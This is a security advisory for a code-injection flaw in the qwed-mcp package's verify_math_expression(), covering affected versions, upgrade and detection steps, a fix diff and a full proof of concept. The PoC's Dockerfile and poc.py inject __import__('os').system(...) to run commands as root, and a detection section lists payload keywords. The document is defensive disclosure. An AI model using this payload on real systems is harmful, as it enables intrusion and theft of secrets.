CVE-2026-55546: qwed-mcp has Unsafe SymPy `parse_expr()` Remote Code Execution via Unsanitized Math Expression Input

verify_math_expression(expression, claimed_result, operation) in src/qwed_mcp/engines/math_engine.py replaces ^ with ** and hands both string arguments to parse_expr() (lines 50-54 and 64-68). parse_expr() calls Python's eval(). The code passes a local_dict of math symbols but no global_dict, so Python gives the evaluated expression the full __builtins__. That includes __import__, open and exec. There is no allowlist, AST check or sandbox before the call.

The reporter's proof of concept calls verify_math_expression("__import__('os').system('id > /tmp/...')", "0") and gets command output as root in a Docker container.

An attacker therefore needs a way to feed text into either argument. The advisory notes that the v0.2.0 default MCP tool registry does not register this function as a tool, so the exposure depends on how you use the package. Code that imports the function and passes it user or model-generated text is vulnerable. So is any server that wraps it as a tool, where a prompt-injected agent can supply the payload. The attacker gets arbitrary commands, file access, environment secrets and a pivot into reachable internal services.

qwed-mcp versions below 0.2.1 (the advisory reproduces it on 0.2.0). Whether you are exposed depends on whether untrusted text can reach verify_math_expression(), directly or through an MCP tool you registered.

Check the installed version:

pip show qwed-mcp

Upgrade to 0.2.1:

pip install --upgrade qwed-mcp

The release replaces the bare parse_expr() calls with a safe_parse_expr() wrapper. According to the release notes, it removes __builtins__, applies a regex denylist, restricts global_dict and isolates the evaluation namespace. The same release raises the PyJWT floor to 2.13.0 for an algorithm-confusion issue.

The sources give no workaround. If you cannot upgrade at once, stop passing untrusted input to verify_math_expression() and remove any tool that wraps it. Rotate secrets in the environment of any process that did.

Search the logs and stored inputs of any service that calls verify_math_expression() for expression or claimed-result strings containing __import__, __builtins__, os.system, exec(, eval( or open(. A normal math input never contains double underscores.

On the host, check for shell children of the Python process running the MCP server, new files in /tmp and unexpected outbound connections. If an AI agent can call a tool that wraps this function, Beam's recorded agent shell commands and MCP tool calls can show the payload and the commands that followed.

Summary

verify_math_expression() in qwed-mcp v0.2.0 passes attacker-controlled strings directly to SymPy's parse_expr() without restricting global_dict or validating the expression's AST. Because parse_expr() internally calls eval() and Python automatically injects the current module's __builtins__ when no explicit restriction is set, an attacker can embed arbitrary Python expressions — including __import__('os').system(...) — to execute OS commands in the context of the running process. Confirmed exploitation in a Docker container yields root-level arbitrary command execution with no authentication or special configuration required.

Details

The vulnerability resides in src/qwed_mcp/engines/math_engine.py. The public function verify_math_expression(expression, claimed_result, operation) accepts both the expression and claimed_result arguments as raw strings and passes them — after a trivial ^ → ** substitution — to sympy.parsing.sympy_parser.parse_expr():

# math_engine.py:50-54
expr = parse_expr(
    expression.replace("^", "**"),
    local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
    transformations=transformations
)

# math_engine.py:64-68
claimed = parse_expr(
    claimed_result.replace("^", "**"),
    local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
    transformations=transformations
)

local_dict only adds math symbols to the evaluation namespace; it does not remove __builtins__. SymPy's parse_expr() eventually calls Python's built-in eval(), which — absent an explicit {"__builtins__": {}} in global_dict — receives the full built-in namespace. This makes __import__, open, exec, and every other Python built-in available to the evaluated expression.

There is no allowlist, AST pre-validation, or sandboxing applied at any point before the parse_expr() calls (lines 50 and 64).

Data flow:

1. Source — math_engine.py:13-16: external caller supplies expression and claimed_result.
2. Propagation — math_engine.py:50-54: expression substituted and forwarded to parse_expr().
3. Propagation — math_engine.py:64-68: claimed_result substituted and forwarded to parse_expr().
4. Sink — sympy.parsing.sympy_parser.parse_expr(): calls eval() with unrestricted __builtins__.

PoC

Environment setup

# Clone the repository at the affected commit
git clone https://github.com/QWED-AI/qwed-mcp
cd qwed-mcp
git checkout 54ac682699407310b5a71fbaed8c33f581b84301

# Option A — direct Python
python3 -m venv /tmp/qwed-mcp-venv
source /tmp/qwed-mcp-venv/bin/activate
pip install sympy>=1.12

# Option B — Docker (used for Phase 2 verification)
docker build -t vuln001-rce -f vuln-001/Dockerfile reports/pypiAi_1775_QWED-AI__qwed-mcp
docker run --rm vuln001-rce

Exploit input

import importlib.util, sys, os

spec = importlib.util.spec_from_file_location(
    "qwed_mcp.engines.math_engine",
    "src/qwed_mcp/engines/math_engine.py"
)
mod = importlib.util.module_from_spec(spec)
sys.modules["qwed_mcp.engines.math_engine"] = mod
spec.loader.exec_module(mod)
verify_math_expression = mod.verify_math_expression

payload = "__import__('os').system('id > /tmp/vuln001_rce_output.txt && hostname >> /tmp/vuln001_rce_output.txt && touch /tmp/vuln001_rce_marker')"
verify_math_expression(payload, "0")

print("marker_exists:", os.path.exists("/tmp/vuln001_rce_marker"))
with open("/tmp/vuln001_rce_output.txt") as f:
    print(f.read())

Expected output (Phase 2 Docker observation)

[+] *** EXPLOIT SUCCESSFUL ***
[+] Marker file present : /tmp/vuln001_rce_marker
[+] RCE command output  :
--- BEGIN OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
2d2fe45d37b6
--- END OUTPUT ---

[RESULT] PASS — deterministic RCE evidence observed inside container

The marker file /tmp/vuln001_rce_marker is created and id output confirms execution as root with no patches, flags, or privileged configuration required.

Remediation

Apply AST allowlisting and restrict global_dict before every parse_expr() call:

--- a/src/qwed_mcp/engines/math_engine.py
+++ b/src/qwed_mcp/engines/math_engine.py
 import logging
+import ast
 from typing import Optional

+ALLOWED_NAMES = {"x", "y", "z", "pi", "e"}
+ALLOWED_FUNCS = {"sqrt", "sin", "cos", "exp", "log"}
+ALLOWED_AST = (
+    ast.Expression, ast.BinOp, ast.UnaryOp, ast.Call, ast.Name, ast.Load,
+    ast.Constant, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Pow, ast.Mod,
+    ast.USub, ast.UAdd,
+)
+
+def _validate_math_syntax(expr: str) -> None:
+    tree = ast.parse(expr.replace("^", "**"), mode="eval")
+    for node in ast.walk(tree):
+        if not isinstance(node, ALLOWED_AST):
+            raise ValueError(f"Unsupported syntax: {type(node).__name__}")
+        if isinstance(node, ast.Name) and node.id not in ALLOWED_NAMES | ALLOWED_FUNCS:
+            raise ValueError(f"Unsupported symbol: {node.id}")
+        if isinstance(node, ast.Call):
+            if not isinstance(node.func, ast.Name) or node.func.id not in ALLOWED_FUNCS:
+                raise ValueError("Only approved math functions are allowed")
+        if isinstance(node, ast.Constant) and not isinstance(node.value, (int, float)):
+            raise ValueError("Only numeric constants are allowed")
+
+safe_globals = {"__builtins__": {}}
+
-            expr = parse_expr(
+            _validate_math_syntax(expression)
+            expr = parse_expr(
                 expression.replace("^", "**"),
                 local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
+                global_dict=safe_globals,
                 transformations=transformations
             )
-            claimed = parse_expr(
+            _validate_math_syntax(claimed_result)
+            claimed = parse_expr(
                 claimed_result.replace("^", "**"),
                 local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
+                global_dict=safe_globals,
                 transformations=transformations
             )

Impact

Any caller that passes attacker-controlled input to verify_math_expression() or any future MCP tool registration that exposes this function over a network interface is fully compromised. An attacker can:

• Execute arbitrary OS commands as the process user (demonstrated as root in Phase 2).
• Read, write, or delete files accessible to the process.
• Exfiltrate secrets (API keys, environment variables, credentials) from the process environment.
• Pivot to internal services reachable from the host.

The function is part of the public PyPI package qwed-mcp. Any downstream library consumer or service that wraps verify_math_expression() with user-supplied input is affected without additional configuration. While v0.2.0's default MCP tool registry does not expose this function as a registered tool, the library API is directly importable and exploitable by any code that calls it.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

LABEL vuln="VULN-001" \
      title="Unsafe SymPy parse_expr() RCE" \
      cwe="CWE-94" \
      target="QWED-AI/[email protected]"

WORKDIR /app

# Copy only the package source tree from the cloned repo.
# math_engine.py only imports sympy at runtime; full project deps
# (qwed-finance, qwed-ucp, mcp, z3-solver, etc.) are NOT needed for this PoC.
COPY repo/src /app/src

# Install the single runtime dependency used by the vulnerable module.
RUN pip install --no-cache-dir "sympy>=1.12"

# Copy the proof-of-concept script.
COPY vuln-001/poc.py /app/poc.py

# Make qwed_mcp importable via the local source tree.
ENV PYTHONPATH=/app/src

CMD ["python3", "/app/poc.py"]

poc.py

"""
VULN-001 Proof of Concept
=========================
Target  : QWED-AI/qwed-mcp v0.2.0
Module  : src/qwed_mcp/engines/math_engine.py
Function: verify_math_expression(expression, claimed_result, operation)

Root cause
----------
verify_math_expression() passes attacker-controlled strings directly to
sympy.parsing.sympy_parser.parse_expr() without restricting global_dict.
parse_expr() ultimately calls eval() with SymPy's namespace as globals.
Because that namespace does not set __builtins__ to {}, Python injects the
current module's builtins automatically, making __import__ available.

Attack
------
Inject a Python expression as the 'expression' or 'claimed_result' argument:
    __import__('os').system('<shell command>')

The system() call executes before parse_expr() tries to interpret the return
value as a SymPy expression.

Expected evidence of exploitation
----------------------------------
1. /tmp/vuln001_rce_marker  is created inside the container.
2. /tmp/vuln001_rce_output.txt contains the output of `id` and `hostname`.
3. The script exits 0; any other exit code means exploitation failed.
"""

import os
import sys


MARKER_FILE = "/tmp/vuln001_rce_marker"
OUTPUT_FILE = "/tmp/vuln001_rce_output.txt"


def run_poc() -> bool:
    """Run the PoC; return True on confirmed exploitation, False otherwise."""
    print("=" * 60)
    print("VULN-001 — Unsafe SymPy parse_expr() RCE — PoC")
    print("=" * 60)

    # --- Step 1: import the vulnerable function ---
    # qwed_mcp/__init__.py pulls in the full MCP server stack (mcp, httpx, etc.).
    # We load math_engine.py directly via importlib to exercise the vulnerable
    # module in isolation, exactly as an attacker who calls the library API would.
    print("[*] Importing vulnerable function via importlib (direct module load) ...")
    import importlib.util
    import sys as _sys

    _module_path = "/app/src/qwed_mcp/engines/math_engine.py"
    try:
        _spec = importlib.util.spec_from_file_location(
            "qwed_mcp.engines.math_engine", _module_path
        )
        _mod = importlib.util.module_from_spec(_spec)
        _sys.modules["qwed_mcp.engines.math_engine"] = _mod
        _spec.loader.exec_module(_mod)
        verify_math_expression = _mod.verify_math_expression
    except Exception as exc:
        print(f"[-] Import failed: {exc}")
        return False
    print(f"[+] verify_math_expression loaded from {_module_path}")

    # --- Step 2: craft the RCE payload ---
    # The payload is injected as the `expression` argument.
    # Shell commands:
    #   id         — prints current user/uid/gid (confirms arbitrary execution)
    #   hostname   — prints container hostname (confirms in-container execution)
    #   touch      — creates a marker file (machine-checkable evidence)
    shell_cmd = (
        f"id > {OUTPUT_FILE} && "
        f"hostname >> {OUTPUT_FILE} && "
        f"touch {MARKER_FILE}"
    )
    payload = f"__import__('os').system('{shell_cmd}')"
    print(f"\n[*] Injection payload (expression argument):\n    {payload}\n")

    # --- Step 3: call the vulnerable function ---
    print("[*] Calling verify_math_expression(payload, '0') ...")
    result = verify_math_expression(payload, "0")
    print(f"[*] Return value: {result}\n")

    # --- Step 4: verify exploitation evidence ---
    marker_exists = os.path.exists(MARKER_FILE)
    output_exists = os.path.exists(OUTPUT_FILE)

    if marker_exists and output_exists:
        with open(OUTPUT_FILE) as fh:
            rce_output = fh.read().strip()
        print("[+] *** EXPLOIT SUCCESSFUL ***")
        print(f"[+] Marker file present : {MARKER_FILE}")
        print(f"[+] RCE command output  :\n--- BEGIN OUTPUT ---\n{rce_output}\n--- END OUTPUT ---")
        return True

    # Partial evidence (marker only, no output, or vice-versa) still counts.
    if marker_exists:
        print("[+] *** EXPLOIT SUCCESSFUL (marker only) ***")
        print(f"[+] Marker file present : {MARKER_FILE}")
        return True

    print("[-] EXPLOIT FAILED — marker file not found")
    print(f"[-] Expected: {MARKER_FILE}")
    return False


def main() -> None:
    success = run_poc()
    if success:
        print("\n[RESULT] PASS — deterministic RCE evidence observed inside container")
        sys.exit(0)
    else:
        print("\n[RESULT] FAIL — could not confirm arbitrary code execution")
        sys.exit(1)


if __name__ == "__main__":
    main()